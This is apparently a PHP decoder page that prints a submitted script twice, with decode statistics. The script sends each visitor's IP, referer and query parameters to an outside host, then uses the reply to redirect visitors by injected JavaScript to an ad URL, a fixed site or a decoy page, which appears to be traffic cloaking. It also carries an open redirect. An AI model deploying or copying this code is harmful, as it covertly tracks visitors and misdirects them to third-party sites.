Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function getRealIp() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward =..

Decoded Output download

<?php 
	function getRealIp() { 
		$client  = @$_SERVER['HTTP_CLIENT_IP']; 
	    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; 
	    $remote  = $_SERVER['REMOTE_ADDR']; 
 
	    if(filter_var($client, FILTER_VALIDATE_IP)) { 
	        $realip = $client; 
	    } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { 
	        $realip = $forward; 
	    } else { 
	        $realip = $remote; 
	    } 
 
	    preg_match("/[\d\.]{7,15}/", $realip, $onlineip); 
	    return $realip = !empty($onlineip[0]) ? $onlineip[0] : null;	 
	} 
 
	$realip = getRealIp(); 
	//echo $_SERVER[HTTP_REFERER]; 
    if($realip) { 
		$postBODY = array( 
			'inputIp' 	=> 	$realip, 
			'serverName' => $_SERVER[SERVER_NAME], 
			'HTTP_REFERER' => $_SERVER[HTTP_REFERER], 
			'ad' => $_GET[ad], 
			'url' => $_GET[url], 
			 
		); 
		$ad = $_GET['ad']; 
		$url = $_GET['url']; 
		$ch = curl_init(); 
		curl_setopt($ch, CURLOPT_URL, "http://ip.ljnet.com.tw/domain_FB.php"); 
		//curl_setopt($ch, CURLOPT_URL, "http://www.jasminne.tw/domain_FB.php"); 
		curl_setopt($ch, CURLOPT_CUSTOMREQUEST,  'POST'); 
		curl_setopt($ch, CURLOPT_POSTFIELDS, $postBODY); 
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
		$result = curl_exec($ch); 
		curl_close($ch); 
$fp=fopen("ad.txt","r"); 
if(fgets($fp) == 1){ 
	//echo ""; 
	if($ad =='' || $url ==''){ 
		$url = "http://www.haostarwater.com/";// 
		echo "<script type='text/javascript'>"; 
		echo "window.location.href='$url'"; 
		echo "</script>"; 
	}else{ 
		if($result === '') { 
			$url = $url . "?ad=" . $ad;// 
			echo "<script type='text/javascript'>"; 
			echo "window.location.href='$url'"; 
			echo "</script>"; 
			//include('index2.html');// 
		}else{ 
			$url = "/default.html";// 
			echo "<script type='text/javascript'>"; 
			echo "window.location.href='$url'"; 
			echo "</script>"; 
			//include('default.html');// 
		} 
	} 
}else{ 
	//echo ""; 
	$url = "http://www.haostarwater.com/";// 
    $ad = ($ad) ? "?ad=" . $ad : null;  
	//$ad = "?ad=" . $ad; 
	$url = $url . $ad;// 
	echo "<script type='text/javascript'>"; 
	echo "window.location.href='$url'"; 
	echo "</script>"; 
} 
	} 
?>

Did this file decode correctly?

Original Code

<?php
	function getRealIp() {
		$client  = @$_SERVER['HTTP_CLIENT_IP'];
	    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
	    $remote  = $_SERVER['REMOTE_ADDR'];

	    if(filter_var($client, FILTER_VALIDATE_IP)) {
	        $realip = $client;
	    } elseif(filter_var($forward, FILTER_VALIDATE_IP)) {
	        $realip = $forward;
	    } else {
	        $realip = $remote;
	    }

	    preg_match("/[\d\.]{7,15}/", $realip, $onlineip);
	    return $realip = !empty($onlineip[0]) ? $onlineip[0] : null;	
	}

	$realip = getRealIp();
	//echo $_SERVER[HTTP_REFERER];
    if($realip) {
		$postBODY = array(
			'inputIp' 	=> 	$realip,
			'serverName' => $_SERVER[SERVER_NAME],
			'HTTP_REFERER' => $_SERVER[HTTP_REFERER],
			'ad' => $_GET[ad],
			'url' => $_GET[url],
			
		);
		$ad = $_GET['ad'];
		$url = $_GET['url'];
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, "http://ip.ljnet.com.tw/domain_FB.php");
		//curl_setopt($ch, CURLOPT_URL, "http://www.jasminne.tw/domain_FB.php");
		curl_setopt($ch, CURLOPT_CUSTOMREQUEST,  'POST');
		curl_setopt($ch, CURLOPT_POSTFIELDS, $postBODY);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		$result = curl_exec($ch);
		curl_close($ch);
$fp=fopen("ad.txt","r");
if(fgets($fp) == 1){
	//echo "";
	if($ad =='' || $url ==''){
		$url = "http://www.haostarwater.com/";//
		echo "<script type='text/javascript'>";
		echo "window.location.href='$url'";
		echo "</script>";
	}else{
		if($result === '') {
			$url = $url . "?ad=" . $ad;//
			echo "<script type='text/javascript'>";
			echo "window.location.href='$url'";
			echo "</script>";
			//include('index2.html');//
		}else{
			$url = "/default.html";//
			echo "<script type='text/javascript'>";
			echo "window.location.href='$url'";
			echo "</script>";
			//include('default.html');//
		}
	}
}else{
	//echo "";
	$url = "http://www.haostarwater.com/";//
    $ad = ($ad) ? "?ad=" . $ad : null; 
	//$ad = "?ad=" . $ad;
	$url = $url . $ad;//
	echo "<script type='text/javascript'>";
	echo "window.location.href='$url'";
	echo "</script>";
}
	}
?>

Function Calls

getRealIp 1

Variables

$client None
$remote None
$forward None

Stats

MD5 8e0dd7b3915643381d8589c43a5623f0
Eval Count 0
Decode Time 85 ms